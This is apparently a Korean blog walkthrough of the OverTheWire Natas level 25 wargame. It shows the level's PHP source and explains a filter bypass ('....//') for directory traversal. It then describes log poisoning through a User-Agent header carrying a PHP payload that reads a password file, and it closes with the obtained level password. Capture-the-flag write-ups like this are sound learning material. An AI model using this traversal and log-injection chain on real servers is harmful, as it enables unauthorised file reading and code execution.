Over the Wire/natas

[OverTheWire:Natas] natas 24 → 25 / natas 25

ruming 2021. 8. 15. 06:07

편지인가?

 

소스코드부터 보자.

<?php
    // cheers and <3 to malvina
    // - morla

    function setLanguage(){
        /* language setup */
        if(array_key_exists("lang",$_REQUEST))
            if(safeinclude("language/" . $_REQUEST["lang"] ))
                return 1;
        safeinclude("language/en"); 
    }
    
    function safeinclude($filename){
        // check for directory traversal
        if(strstr($filename,"../")){
            logRequest("Directory traversal attempt! fixing request.");
            $filename=str_replace("../","",$filename);
        }
        // dont let ppl steal our passwords
        if(strstr($filename,"natas_webpass")){
            logRequest("Illegal file access detected! Aborting!");
            exit(-1);
        }
        // add more checks...

        if (file_exists($filename)) { 
            include($filename);
            return 1;
        }
        return 0;
    }
    
    function listFiles($path){
        $listoffiles=array();
        if ($handle = opendir($path))
            while (false !== ($file = readdir($handle)))
                if ($file != "." && $file != "..")
                    $listoffiles[]=$file;
        
        closedir($handle);
        return $listoffiles;
    } 
    
    function logRequest($message){
        $log="[". date("d.m.Y H::i:s",time()) ."]";
        $log=$log . " " . $_SERVER['HTTP_USER_AGENT'];
        $log=$log . " \"" . $message ."\"\n"; 
        $fd=fopen("/var/www/natas/natas25/logs/natas25_" . session_id() .".log","a");
        fwrite($fd,$log);
        fclose($fd);
    }
?>

<h1>natas25</h1>
<div id="content">
<div align="right">
<form>
<select name='lang' onchange='this.form.submit()'>
<option>language</option>
<?php foreach(listFiles("language/") as $f) echo "<option>$f</option>"; ?>
</select>
</form>
</div>

<?php  
    session_start();
    setLanguage();
    
    echo "<h2>$__GREETING</h2>";
    echo "<p align=\"justify\">$__MSG";
    echo "<div align=\"right\"><h6>$__FOOTER</h6><div>";
?>

safeinclude 함수를 보면 ../를 str_replace함수로 필터링 하는 것을 알 수 있다.

 

/?lang=../ 을 파라미터로 보내면 다음과 같은 에러 창이 뜬다.

 

str_replace 함수는 ....//같은 방식으로 우회할 수 있다.

/?lang=....//

/var/www/natas/natas25

 

다시 소스코드로 돌아가서, logRequest 함수는 User Agent를 로그 파일에 저장하는 것을 알 수 있다.

다음과 같은 방법으로 파라미터를 보내보자.

lang=....//logs/natas25_gq5iotfc82bf9j8jc9ppkhvql6.log

 

이제 burp suite로 User-Agent를 변조할 것이다.

~/etc/natas_webpass/natas26에 패스워드가 있는 걸 알고 있으니, 이것을 include할 php코드를 보낸다.

<? readfile("/etc/natas_webpass/natas26") ?>

 

password를 얻을 수 있었다.

oGgWAJ7zcGT28vYazGo4rkhOPDhBu34T